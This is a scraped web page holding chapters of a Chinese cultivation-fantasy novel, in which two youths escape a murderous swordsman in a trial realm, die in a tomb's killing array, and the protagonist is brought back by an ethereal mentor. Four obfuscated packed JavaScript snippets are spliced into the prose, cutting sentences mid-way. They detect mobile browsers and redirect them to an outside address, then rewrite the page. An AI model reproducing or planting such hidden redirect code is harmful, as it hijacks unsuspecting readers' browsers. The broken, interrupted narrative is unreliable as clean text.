狐狸嚼着口中的草,然后“呸”了一声,全部吐了出来,正当二人的心再次吊起来时,狐狸一脸嫌弃地刨了刨土,换了种草吃。 应听声:“……” 许寄忱:“?” 应听声看看手中的花,又看看许寄忱,心中还是有些拿不准。毕竟神兽对毒素的抗性比较高也是有可能的,不能证明这花没毒。 就在两人迟疑时,一道脚步声从不远处传来。二人行动十分一致,立刻拉着对方往后一躲,就听见了一声叹息,随后一道似曾相识的声音从前方传来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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应听声突然往前走了一步,就像把许寄忱护在身后一样,对习千瑜道:“你为什么要帮我们。” 许寄忱不动声色地垂下眸,接过应听声背在身后的手上的木偶。 习千瑜双耳上血红色的耳坠晃了晃,就像毒蛇的眼睛,可那张嘴说出的话却尽是温柔:“帮助弱小,不需要理由。我长你们这么多,怎么能眼睁睁地看着你们死在这。” 对外表无害的毒蛇可不能放松警惕,因为那是毒蛇为了捕获猎物营造出的假象。它会藏起自己的毒牙,收回自己“嘶嘶”作响的分叉舌头,只为了趁你放松警惕蹲下时猛然跃起,缠上你的脖子,将你勒死在他的尾间,拆吃入腹。 “原来如此。”应听声握紧了手中的木偶,看向习千瑜身后,轻声道:“可是习公子,清前辈正在看着你呢。” 习千瑜神色一动,明知道不可能,却还是转过了头。 就这一秒,应听声朝许寄忱大喝道:“走!”说着,将手中的贴着分身符的替命人往习千瑜脸上一丢,又迅速掏出两张匿息符来,猛地拍在许寄忱背上,拉着他骑上了化为本相的乘黄,迅速逃出了习千瑜的攻击范围。 看见后方空无一人是习千瑜立刻唤出佩剑,甩出一道剑气,却击了个空,下一瞬,无数个逃跑的应听声就出现在自己眼前。 习千瑜轻嗤一声,观察了两秒,随后朝着其中一人斩去,所有幻想瞬间消失,只剩下一张被穿透的分身符,缓缓从剑刃上落了下来。 应听声已经带着许寄忱逃之夭夭,习千瑜脸上的笑意也淡了下来,面不改色地用绢布擦了擦自己的剑,挽了个剑花将其收回,接着朝深处走去。 不急。他心道。 小老鼠不可能躲藏十天,总要露出行迹的。 30. 毒气 红尘殿中,数十面水镜漂浮在空中,镜面中显示的正是进入了试炼之境的各宗弟子。 殿内安静异常,诸尘和席梵各盯着一面水镜看着。诸尘的饶有兴致的目光落在两个年幼的孩童身上,而席梵的眼眸则有些无神,半凝不凝地看着另一块水镜。 镜中的人一袭红衣。 诸尘余光扫了一眼,问:“这是谁?” 席梵看上去没什么精神,靠在墙边,道:“不认识。” 刚说完,二人就感到一阵剧烈的晃动,就连殿内的香薰笼都掉了下来,碎了一地。 晃动只持续了十几秒,席梵抬眸问他:“怎么回事。” 诸尘理了理散乱的发丝,满不在意道:“试炼之境不稳,有些可控范围之内的波动而已。” 说完,他伸出手,密密麻麻的红雾丝线出现在他的指尖,而他则轻飘飘说了一句:“放心吧,我看着呢。” “死不了。” 诸尘笑道。 —— 应听声拉着许寄忱躲入一处山洞,乘黄再次变回狐狸,警惕地看着山洞外。 许寄忱喘了两口气,没有问那神秘的红衣人,也没有问突然变大的狐狸,反倒问起了另一个无关紧要的问题:“你把‘替命人’交出,之后怎么办。” 应听声心还在剧烈跳动,知道习千瑜方才是真动了杀心了,他们再慢一些,都要死无全尸。 听到许寄忱这么问,应听声有些意外,但还是从怀中拿出了一个和被他扔出去的替命人一模一样的木偶来,解释道:“分身符。” 说完还感叹了一句:“前辈的分身符真好用啊,原本一次性的替命人如今竟然可以循环使用了。” 接着,他又掏出一张引火符来,直到这时,应听声死里逃生的大脑才开始缓缓转动,略带迟疑地转头看向许寄忱,道:“……等等,分身符是贴上就能用吗。” 许寄忱似乎也对这个问题很好奇,但分身符不能随意浪费,他指了指应听声手中拿着的符咒,道:“你试试。” 应听声全神贯注地盯着手中黄橙橙的符纸,简直要用炽热的眼神将其盯出一个洞来,十几息后,他闭上了眼,悬着的心终于死了。 许寄忱亦是无奈,安慰道:“迟早的事,不用心急。” “不过。”许寄忱看着应听声手中的符咒,似乎有些奇怪:“按理说,引火符和引火诀应该是相同的才对,这符咒却和我用的引火诀有些不同。” 应听声看了看,自己也有些不确定,道:“前辈说使用符咒只是为了更容易与天地建立联系,不必拘泥于形式——或许是前辈自己与‘火’的联系吧。” “也对。是我狭隘了。”许寄忱点了点头,说完,他一捻手指,山洞内燃起一丝细微的火光。 折腾半天,天色已经慢慢暗了下来,虽然不知道为什么试炼之境里也会有如此规律的日出月落,但天黑之后,危险也会随之降临。 有来自野兽的,也有来自人的。 通灵玉碟上有一个实时变化的积分排行榜,只显示了名字,没有显示宗门。 而现在,位居第一的正是习千瑜,云歆与云笛紧随其后。 完成任务积一分,上一个任务完成之后,玉碟才会发布下一个任务。 而习千瑜居然以二十七分牢牢霸占着第一,和排名第二的云歆拉开了十九分的差距。 应听声和许寄忱对视一眼,最终,应听声开口道:“虽然我不知道他的任务是什么,但我觉得,对那位习公子而言,杀一个人比完成一个任务要简单轻松得多。” “你和他有仇?”许寄忱看应听声一眼,问道。 “没有啊。”应听声在许寄忱“那他为什么一言不合就朝你拔剑”的目光下简直百口莫辩:“……在这试炼之境,杀人需要有仇吗。” “确实。”许寄忱理解似的点了点头,结束了这个话题,道:“你昨晚没睡,今晚好好休息吧,我来守夜。” 应听声确实有些累了,闻言也没有推拒,只将狐狸塞进他怀里,道:“有事一定要叫醒我。” 说完,他打了个哈欠,睡眼朦胧中见许寄忱点了点头,才闭上双眼,任自己沉入梦境。 狐狸不知何时又变回了乘黄,像一堵白色的墙一样半拦在山洞门口,许寄忱在周围找到一些干枯的树枝,升起了火,小小的一团,却令人安心。 时间从不为谁停留,月亮一步一步升至中天,正是光辉最明亮的时候。 许寄忱百无聊赖地用手中的树枝戳着火堆,夜晚太过安静,要不是处于试炼之境中,今夜说不定真是一个静谧的安眠夜。 就在乘黄都昏昏欲睡时,一阵剧烈的晃动从四面八方袭来,打瞌睡的乘黄猛地一抬头,“哐”一声砸上了山洞顶端,震下几块碎石。 这么大的动静死人都闹醒了,更何况本就留了根神经的应听声,他鲤鱼打挺一样坐起,几丝清明艰难地突破困意出现在他的眼中。 “怎么了?”应听声问道。 许寄忱摇摇头,看着外面。晃动依旧没有停止,周围却渐渐传出人声。 二人不明所以,却不约而同地熄灭了燃烧着的火堆。 突然一声可怖的尖叫声伴随着通灵玉碟的振动响起—— 应听声瞳孔一缩,立刻打开玉碟,只见那排行榜上,习千瑜名字后面的数字还在极速上升——他在杀人。 “快走!”尖叫声很大,说明习千瑜可能就在附近,这里不安全。应听声抱着缩小的狐狸,压低声音对许寄忱道。 二人半弯着腰从山洞中走出,小心翼翼地往声音的反方向走去,而这时,一阵阵血色的雾气紧贴着地面朝二人蔓延。 应听声眼尖地看见一个人趴在正在雾气中挣扎,似乎想站起,却没有成功,渐渐不动了,迅速意识到这雾有毒,拉住了许寄忱。 狐狸身形变化,带着两人飞上了高空,避开已经淹没落脚之地的雾气。 “哦?” 听到一声疑问,二人顿感不妙,还没来得及转头确认,习千瑜放大的面容就出现呀二人眼前,颇有兴致地看着乘黄:“原来你们之前是这样离开的。不过,这次可不会放过你们了。” “乖孩子,不要乱动,不会让你痛的。”习千瑜双手干干净净,脸颊却染上了一抹血红,他语气温柔,手上动作却一点不含糊。 应听声和许寄忱被一个普普通通的定身咒困在原地,就连乘黄都被一根长鞭捆住,动弹不得,只能眼睁睁地看着死神的长剑朝他们落下。 “叮”。 应听声手上的乾坤戒,以及许寄忱脖子上带着的宝石骤然破碎,散发出淡金色光芒,拦住了这致命一击,爆发出的冲击将习千瑜弹开。 乘黄摆脱束缚,却飞不起来了,带着二人向下落去。在临近地面时,它勉强煽动翅膀做了个缓冲,变回了狐狸,没精打采地卧进了应听声怀里。 狐狸落下时激起了尘土,应听声咳了两声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105649|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没从死亡的阴影中缓过神,冷汗已将后背沾湿。 许寄忱也没好到哪儿去,喘着粗气抹了把脸,双腿无力,靠着冰冷的石壁半跪了下去。 莫约过了一盏茶,应听声才收拾好自己的情绪,揉了下眼睛,观察起周围的环境来。 狐狸带着他们落入了一处被树叶掩盖,往下延伸的道路,路的拐角处隐隐透出火光。 有毒的红色雾气还在地面蔓延,二人别无选择,只得朝着另一条可能也是死路的路走去。 “唰”一声,走到拐角处时,一柄剑的剑刃抵在了应听声脖前,他咽了口口水,却听见那人“嘁”了一声,收回了剑,略带嫌弃地说道:“怎么是你,你们居然还活着?” 应听声抬眸,发现这也是他……清休澜的熟人之一——凌月剑宗,云歆。 这位脾气不好的大小姐拿着把和她一样高的长剑站在门口,衣服上满是血迹——别人的血。 在她身后的地下山洞中竟有不少活人,粗略一数,还有几十个。 他们有的站着,有的蹲着,有的坐着。有的孤身一人缩在角落中,警惕地打量着身边的人,有的趴在一具冷下去的身体上痛哭。 云歆看了二人一眼,转头朝里面走去,没好气道:“进来吧。” 说完,她走到那趴在一个男人身上哭泣的女子面前,厉声道:“不许哭!他为了保护你去死,是他自己的选择,你用尽全力活下去,而不是把体力花费在没用的眼泪上!” 女子莫约二十来岁,却对着比她小了不止一点半点的云歆点了点头,用力擦干了眼泪,用掌心的火焰将死去的男人烧成了灰,装进了自己的荷包中。 这里的人许寄忱都不认识,但看他们身上的伤,很有可能也是被习千瑜逼得不得不聚在一起的。 既然有共同的敌人,那从前的恩怨自然也能暂时抛开。 “你……”应听声看看周围,又看看云歆,犹豫道。 “还不是那个红衣狗贼!”说起这个云歆就来气,她曾不止一次想和习千瑜正面较量一番,却都被他拒绝了,说什么“不和小孩儿打”,结果这人居然玩阴的,搞半夜偷袭那一套。 云笛冲上去拖住了他,云歆这才得以带着剩下两人逃离,如今凌月剑宗进来的四个人,死了一个云笛,死了一个毒发身亡的男人,居然只剩她和那女子了。 “那狗……那习千瑜不是凌月剑宗的人?”应听声咬了下舌头,差点被云歆带偏。 “哈?!”云歆像看傻子一样回头看向应听声,抬手将云笛的遗物——一条发带在应听声的眼前摇了摇,不可理喻道:“他杀了我们的人,怎么可能是凌月剑宗的!凌月剑宗从不养噬主的狗!” 云歆一指山洞中的人,嗤笑道:“现在坐在这里的,多半都是本宗的独苗苗了,有的宗门进来的人全死了!别说历练较量,现在能不能活着离开都是个未知数……” 此时,一位哭得一把鼻涕一把泪的灰衣弟子手脚并用地爬到了云歆身边,抱着她的腿哭道:“云姐姐,这可怎么办啊,我不想死在这!” 云歆“呸”了一声,将那人踹了回去,道:“去你的,也不看看自己多大了,还好意思叫我姐姐,也不嫌害臊!一群有志气没本事的废物,哭什么哭!有那写遗书的功夫不如赶紧想想办法,姑奶奶我可不和你们这群软弱无能的大人死在一块!” “姑奶奶我要死,也是死在习千瑜的剑下!技不如人,输给他我死得心服口服!” 31. 顿悟 “姑奶奶。”应听声被云歆无意释放出的灵流冲了一下,踉跄了两步,往后一退,靠着石壁稳住了身形,无奈道:“还不到山穷水尽的地步。诸殿主察觉有异,会拉我们出来的。” 云歆闻言冷哼了一声,像看不争气的傻师弟一样看着应听声,嘲道:“你刚认识红尘殿主?那就是个乐子主,只要有乐子看,我们全死在这也是使得的——否则那狗贼这么大动作,不说连在我们分神上的丝线,怎么连那玉碟都一动未动!” 应听声沉默,应听声无言以对。 突然,一人起身,应听声被他突然的动作惊到,不自觉往旁边退了一步,就要撞上墙上紧闭着的石门。 云歆瞳孔一缩,骤然出手去抓应听声,喊道:“别碰!” 可惜晚了一步,应听声在惯性的作用下已经触上了石门。 蠢才,连石门上布置着的杀阵都看不出来,云歆暗骂一声,立刻转身离开。飞速退至洞口时,又被缓缓蔓延进来的毒气逼了回来。 应听声听见那一声喊,急退几步,心惊胆颤地看着面前普普通通,甚至长满了青苔的石门。 ——等等,青苔? 要不是时候不对,应听声真想上去确认一下,好叫许寄忱完成自己的任务。 云歆喊得急,应听声本都做好被稀奇古怪的机关弄死的准备了——替命人在乾坤戒中,乾坤戒被习千瑜炸成了碎片。 结果几息过去,众人大气都不敢喘,那石门却安安静静的。 云歆捂着嘴折回来时,本以为会看见遍地尸体,结果她离开时是几人,现在还是几人。 应听声站在石门前安然无恙。 “你们一路上就是这样活下来的?”云歆半信半疑道:“靠几辈子攒下的狗屎运?” “……”应听声沉默两息,道:“……可能吧。” 他尾音还没落下,那石门好像终于反应过来什么一样,突然“轰隆”一声,又把应听声吓一跳。 “你怎么还是个易受惊体质?”云歆神色鄙夷,道:“兔子投胎吗。胆小鬼可不适合修道。” 应听声直到今天才发现自己是真的不会应付像云歆这种性格的女孩,本着多说多错的原则,他摇摇头,闭上了嘴。 石门缓缓朝两边打开,露出了一条通往更深处的道路。 云歆知道外面已经出不去了,选无可选,她一打响指,身体两侧出现三根蜡烛,借着烛光走了下去。 虽然她一言未发,众人却像已经认定她为主心骨一样,一个接一个起身,也跟着往下走去。 向下的楼梯不长,在通过一条窄窄的石道后眼前豁然开朗,竟是一间气派的地下墓室。珠宝、钱财遍布,却没有一人上前去拿——命都快没了拿这有什么用。 应听声抬头一看,头顶圆形的墓顶上雕刻着四大瑞兽,瑞兽的头齐齐朝向中心空白的圆形印记。 而在那印记下方的地面上,却空无一物。 他皱着眉看了好一会,觉得这印记有些眼熟,却想不起来在哪儿见过。 “奇怪。”走在最前面的云歆已经在周围转了一圈,带着回声问道:“棺材呢?” 应听声这才猛地发觉——对啊,原本该放在中心的棺材怎么不见了。 这年头有人盗墓盗到试炼之境来了?应听声苦中作乐想道。 他走上前,细细摸索着,在墙壁某处发现了一处用古语刻下的文字。应听声只能认出其中几个字,于是他左右看了看,与许寄忱对上了视线,朝他招了招手,却被突然冒出的云歆截了胡。 她抱着手站在应听声面前,明明比应听声还矮一点,气势却一点不弱:“现在我们可是暂时的‘盟友’,你能坦诚一点——比如不吝啬线索的话,我们活下去的概率应该会高一点。” 应听声:“……” 他往旁边让了一步,云歆毫不客气地用手摸上那已经被时间侵蚀得看不太清的文字。 一边摸着,云歆一边皱起了眉,道:“这不是常见字……至少有三百年没用过了吧。” 云歆蹙着眉站在原地思考了好一会也没个头绪,随性将其抛之脑后,打算先去别处看看。 许寄忱走了过来,在应听声满怀希望的目光中摸索了番石壁,随后也摇了摇头,问道:“师尊来时与我提过一嘴,有符名为‘寻旧’,可以将古老的文字转为通用字。清长老给你的符咒中,可有此符?” 应听声闻言先是点了点头,随后无奈地给他看了看自己空空如也的指间,道:“有,在乾坤戒中。乾坤戒大概已经被毒气吞没了。” 躲在一旁地上观察的云歆闻言却站起了身,“唰”一下,大把空白符纸出现在她的手中,她扇扇子一样摇了摇,问应听声:“你还记得怎么画吗?” 应听声“嗯”了一声,蹲下用手指在地上画了一个相当复杂的图案。 云歆看着,只觉应听声在逗她玩,质疑道:“你耍我呢?寻旧符我见过,只是不会画,根本不长这样——而且符根本不是这样画的,你确定这真能用?” “或许你可以出去后问问清长老。”许寄忱毫不留情地将她堵了回去:“毕竟这符咒是清长老画的,我等愚钝,参不透其中奥秘,还要怪到清长老头上去不成?” 云歆被噎了一下,重重“哼”了一声,学着应听声画符顺序抬手在符纸上描绘起来,道:“最好有用。” 符纸骤然燃起,随后被蓝色火焰燃烧殆尽,周围平静如初。云歆翻了个白眼,一言不发地去别处找线索了。 许寄忱拍拍应听声的肩,站起了身,宽慰道:“清长老看待万事万物的目光与我们不同,或许是我们还没与清长老‘同频’。” 说完,他也准备去别处看看,走之前像个小大人一样嘱咐了一句:“有事喊我,不要逞能。” 不知是哪句话刺激到了应听声,他选择留在原地,和这段“天书”死磕。 不知是不是应听声的错觉,他蹙起眉心,看着面前的石壁,总觉得在字里行间中看到了一颗闪烁的星星。 应听声往前走了一步,轻轻摸上冰冷的石壁,瞬间,一道钟声突然出现,直接穿透了应听声的大脑。他“嘶”了一声,闭上眼捂住耳朵,待震耳欲聋的钟声稍微减轻后,应听声才勉强睁开眼往周围看了看。 这恨不得震碎应听声耳膜的钟声似乎只有他能听见,周围人平静如初,就连云歆和许寄忱都没有反应。 紧接着,一道应听声再熟悉不过的声音从四面八方传来,说了句什么。应听声一愣,转头在四周看了看,却什么都没有发现,只收获了陌生人一个莫名其妙的眼神。 可他分明听到了清休澜的声音。 应听声晃了晃脑袋——他幻听了? 就在他惊疑不定的时候,清休澜的声音再次传来,清晰了很多。但应听声还是听不懂他在说什么。 他再次看向那面石壁,却发现石壁上的文字就像活了一样,一蹦一跳地从石壁上离开,绕着应听声转圈。 应听声试探着伸出手,那文字就像找到归处一般迫不及待地钻进了他的指尖,一个接一个,直到石壁上干干净净。 随后,应听声眼前就出现了一个巨大的图案,文字化作流淌在图案上的金光,勾勒出一道更为清晰的痕迹。 应听声只觉天旋地转,周围的空气都变得粘稠起来,一股不属于他的细微气体正试图进入他的身体。 应听声难受地挣动起来,自然地抗拒起这股不知名的气体。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云歆抱着手,无语道:“我俩刚离开不到半盏茶,就听见你喊了一声,然后吐了口血,怎么喊都不答应。怎么,”她偏头看了一眼毫无变化的石壁,问:“石壁吃人了啊?” 应听声轻咳两声,将喉中的残血咳了出来,摇了摇头示意自己没事,然后看向石壁说道。 “我知道这石壁上写着什么了。” 云歆似乎有些惊讶,看看应听声又看看石壁,问:“吐个血给你吐开窍了?” “……”应听声顿了一下,说实话,他也不知道为什么会突然开窍,不过现下可没时间留给他慢慢思考,他指着石壁,翻译道。 “我睡着了,然后,我在梦中醒来。” “梦是不可触及的天空。” “而这里,就是我二十七年的黄粱一梦。” 云歆听完之后只觉莫名其妙,问他:“你确定是这么写的?” 许寄忱也歪了歪头,不太理解,不过他相信应听声不会随便乱说,正想接着问些什么,就见旁边的应听声读完后突然握紧了手中的玉碟,死死盯着面前的文字。 他的任务——探寻最高点。 试炼之境的最高点是哪儿? ——是天空。 天空触不可及,但是梦可以。 而这段不知所谓的留言说,现在这里,就是祂的一场“梦”。 许寄忱察觉到他的神色不太正常,凑到他身边轻声问道:“怎么了?” 应听声慢慢地摇了摇头。 如果真是这样,那他的任务也太扯了,要不是无意落入这里,他绝无可能完成这个任务。 也可能只是他想多了,这里也许真的只是一间普通的墓室而已。 32. 生死 许寄忱似乎不太相信,却也没有追问,只再次和他强调了有事一定要喊他。 应听声再三答应,解释这次纯属意外,可还没等许寄忱有所反应,周围便再次剧烈震动起来。 原本应听声以为是之前那样不久便会平息的波动,可当不远处的云歆的又一句“蠢货”骂出来后,他才猛然意识到不对。 “轰”一声,石门突然闭合,一道接一道,直接堵死了他们来时的路。挂在石壁上的蜡烛也瞬间熄灭,只剩云歆身周以灵力照明的灯烛。 “你想死别拉着我们!”云歆骂道:“没人教过你不要擅自触碰自己不认识的法阵吗!” 刚才抱着云歆大腿哭得泪眼婆娑的灰衣男子被云歆骂了个狗血淋头,急忙收回了手,弱弱道:“我看那小友碰了也没事……” 应听声听见争吵声,回过头。 他看见云歆的嘴唇动了动,却没听到声音,正当他疑惑地想去征求许寄忱的意见时,一阵剧烈的耳鸣传来—— 嗡—— 从石门关上到现在不过几息时间,也就够树叶上的水珠落下。 应听声却觉得时间在此刻停了下来。 “咚”一声,应听声顶着耳鸣,僵硬地低头看向地面,一颗新鲜的人头滚到了他的脚边,嘴唇还在一动一动的,似乎想说些什么。 许寄忱微微张开了嘴,看着应听声,随后像一只从高空坠落的风筝一样倒了下来,背后蔓延出血迹。 应听声的脑袋像生锈了一样,艰难地抬起,发出“咔咔”的响声。不远处的云歆半跪在地,嘴角与眼眶中流出大量鲜血,手中还握着那把长剑。 越来越多的鲜血流淌在地上,汇聚成了一条红色小河,将应听声的鞋子浸湿。 这一定是一场荒诞的梦境。 应听声想道。 他扑到许寄忱身旁,冷静地稳着手去摸他脖颈的脉搏。 没有。 什么都没有。 应听声不死心,又去摸另一个陌生人的。 还是没有。 头都掉了,怎么可能还活着。 发生了什么?应听声茫然地问自己。 他起身时不知被什么拌了一下,摔进了血水中,大半个身体都被血染红,就像一颗熟透了的苹果。 应听声咳了两声,没发现自己咳出的全都是自己体内的碎肉,他再次尝试从血水中爬起,却使不上力。 这时他才发现,自己手和腿都以一个不正常的姿势扭曲着,就连头都变得越来越重,摇摇欲坠地撑在脖颈上。 应听声简直快要失去思考的能力,凭着本能伸手扶住了头,恍惚间,他的手似乎蹭到了什么。 湿湿的,软软的,还有一点黏。 ——是苔藓。 应听声眼睛都快睁不开了,却准确地判断出了面前的植物。 哦,对。云歆好像说了句什么。 应听声迷迷糊糊地在脑海中翻找着,如果他还能看到,就会发现在一片黑暗中,他右手上的手镯在微微发光,几根丝线将他即将离体的魂魄死死绑在这具已经死亡的躯体中。 在应听声的记忆中,他的“视线”从石门移到了那名灰衣男子的手上,然后是他惊恐的脸,紧接着,视线往旁边移动,移到了云歆的脸上。应听声缓缓向下看去,“视线”便定格在她上下翻动的嘴唇上。 应听声张了张嘴,读出了云歆未出声的话语。 ……杀阵。 在那名灰衣男子不小心触碰到石门上的杀阵时,杀阵便毫不留情、干脆利落地将他们所有人全部杀死了。 包括云歆。 包括许寄忱。 包括……他自己。 那我现在,是死是活?应听声眼前似乎被蒙上了一层血,模糊了他的视线,他什么都看不清。 在一片混沌中,他又迷茫地想道。可是是他先摸到石门的,为什么那时覆在石门上的杀阵没有动静? “嘀嗒”。 又一滴血水落下,落在地面上,就像落在了血红的海中一样,发出了一声轻响。 应听声手边的玉碟振了振,发出了一抹微光。他缓缓偏过了头,伸手拿过了这不知是谁的玉碟。 他的手指已经有些不听使唤了,就像被冻僵了一样。应听声艰难地解锁了玉碟,看到那许久没有动静的排行榜再次更新,为首的那人却不是习千瑜。 而是一个叫谢尘缘的陌生人。 应听声的脑子已经快转不动了,但他确定,原本的排行榜上绝对没有这个名字——前不久,前多久呢……应听声想,大概是昨天吧,他和许寄忱还靠在石壁上把整个排行榜看了一遍呢。 但这个名字只霸占了排行榜几秒,就消失了,为首的名字再次变作习千瑜。 “听声。” 谢尘缘是谁?应听声扶着脑袋,迷离地想道。 “听声。” 那我现在应该是死了。真奇怪,我怎么没去往阴阳司,这不会是骗人的吧。他又想。 “应听声。” 好想再见前辈一面啊。应听声另一只手摸上自己的胸腔,那里已经不再跳动了。出乎应听声所料,他本以为自己在死前想到的应该是父母,再不济也是曾经插科打诨同窗——没想到居然是将自己送进试炼之境的清休澜。 “差不多行了,别再无视我。”一道声音无奈地叹了口气:“之前还大惊小怪,现在怎么就能倘然自若地把我当做空气了?” 嗯…… ……嗯? 应听声迟钝的神经终于将这道十分熟悉——甚至他刚刚才想起的声音传进了他的大脑,解码成了他最为熟悉的语言。 他猛然抬起头,差点将脑袋甩飞出去。 然后就看到了清休澜。 真的假的。这是应听声的第一反应。 因为面前的清休澜实在太温柔、也太虚假了。他半蹲在应听声面前,金眸低低地看着应听声,乌黑的发丝垂下。 清休澜的身体散发出淡淡的金色,就像朝阳一样,应听声的视线能够轻易穿过他的身体,看到后面的石壁。 又是假的。 应听声吸了吸鼻子,虽然已经没有了呼吸,也没有了体温,但他依旧贪恋清休澜身上的温暖。 他用湿漉漉的眼神看了清休澜一会,有些难过地说道:“前辈,我好像死了。” 清休澜淡淡“嗯”了一声,道:“不要紧。我说过,会把你拼回来的。” 应听声扶着头,不敢乱动,只偏了偏眼睛,看向身旁早已死去的那些人,轻声问道:“那他们怎么办?” “你想救他们吗?”清休澜问他。 应听声没有太过迟疑,低低“嗯”了一声,道:“想的。” “为什么。”虽然发出了疑问,可清休澜脸上却没有一点疑惑的表情,依旧淡然,依旧温柔:“他们与你,不过是素不相识的陌生人罢了,你为什么愿意救他们?” 应听声似乎被问住了,好久没回话,清休澜也不催,安安静静地等待他的回答。 良久,应听声犹犹豫豫地问他:“救人……需要理由么。” 清休澜就笑了。 应听声没见过这样的笑容出现在清休澜脸上过。就像春雪消融后,清休澜走出房门,发现长在墙角裂缝中那朵小小的花儿还活着,随着阳光颤颤巍巍地伸展开花瓣一样。 “前辈?”周围很安静,应听声再轻不过的呼唤也能带起一阵阵空灵的回声。 清休澜笑意未散,没有动作,只用眼神柔柔地将他描绘了一遍,然后微微转头看向周围,道:“那他们,可要欠你好大一个人情了。” “我?”应听声茫然地问。 清休澜点了点头,确认道:“是的,你。” “可我救不了他们……也救不了我自己。”应听声又低落下来:“我已经死掉了。” “你当然可以。”清休澜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105651|163859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声音几乎擦着他的耳边,低声说道:“好好想想,该怎么办。” “你会的。” 应听声目光呆滞地看着清休澜,眼里的光在逐渐黯淡,他有些跪不住了,整个人都要趴到血水中。 好困,他想闭上眼睡一觉,可又舍不得清休澜。他知道,只要他睡着了,再醒来的时候,肯定就见不到清休澜了。 于是他所有的力气都用来睁开双眼,实在没有多余的精力再去听,去执行清休澜说的话,只想牢牢将这个人印在眼中。 清休澜看着他的生命逐渐流逝,却似乎一点儿也不着急,只是伸出手,轻轻点了点应听声的额心,再次说道:“该怎么做,你知道的。” 随着清休澜动作,应听声的额前逐渐散发出一道金色光芒,慢慢绕成了一个极为复杂的图案。 应听声看着这个图案反应了好一会,才想起出处——在清休澜给他的那本图解中的最后一页,就有两个极尽繁琐的符咒图案,没有名字,只有注释。 画在左边的就是面前的图案,注释为“溯”。 右边图案的和左边的很像,但笔锋走势略有不同,注释为“止”。 那图案实在太多太乱太复杂了,应听声只看了两眼便觉得头晕目眩,但还是勉强将其死记硬背记在了心中。 “想起来了吗?”清休澜见他眨了下眼,眸中的浓雾散去些许,开口问道。 应听声看着眼前的图案,福至心灵一般,突然顿悟了这符咒有什么作用。他犹豫了会,点了点头。明白了清休澜想让他做什么,道:“可是我没有符纸……被水泡烂了。” 清休澜失笑,问他:“哪里用得着符纸。再说……”他顿了顿,问应听声:“我什么时候告诉过你,这是‘符咒’了?” 应听声看着眼前的图案,不解地问他:“这不是符咒么?” 他看着清休澜的眼眸,却发现春夏秋冬在以极快的速度在那抹金色中轮换,飞花、落雪都不过短短一瞬。清休澜身周浮现出在不断变幻的星宿,他抬手捻过其中一颗星辰,道:“溯洄时间的大法阵,如何会是符咒。” 他将那颗星辰推入了应听声的眉心,接着道:“你真以为那些是符咒么?” “不对。”清休澜在应听声的手心中画过一道“引火符”上画着的图案,道:“这不是符咒。” 清休澜看着应听声,轻声道。 “是‘引子’。” 刹那,应听声心中的迷雾散去,所有看不懂的符咒变为了最初始的模样,他手上被清休澜画上的那图案也变成了一道正在燃烧着的火焰。 “咔嗒”一声。 就像机关终于严丝合缝地卡进了自己的卡槽中一样,应听声在此刻突然感悟到了何为“天地”。 火是热的,烫的,滚动的。是红色的,黄色的,蓝色的。 水是凉的,冰的,潮湿的。是绿色的,蓝色的,白色的。 周围流转的灵气缭绕在应听声周围,应听声放松下来,没有抗拒,任由它们流进自己的身体中,成为属于他的一部分,如呼吸般自然。 火光逐渐在应听声身周亮起,他的灵台清明,心中无一丝杂念。 我的人生分明才刚刚开始,不该在这里草率地结束。他在心中想道。 我想触摸阳光,想聆听花开,想感受微风。 我还没有好好活过。 应听声落下一滴泪来,似乎将他此身所有爱恨情仇都融在了里面。 从此无爱无恨、无悲无惧。 只愿沉静聆听世间万物的声响。 但从此之后,所有喜怒哀乐,再与他无关了。 瞬间,一束光破开云雾,直直照进这幽暗的地底,照在了应听声身上。无数纯粹的灵气汇聚于他身。 应听声如初生般睁开眼,眼神已然平静,天地为他打开了一扇门。 他提步走了进去,迈进了残酷的修仙界中。 ——无情道成。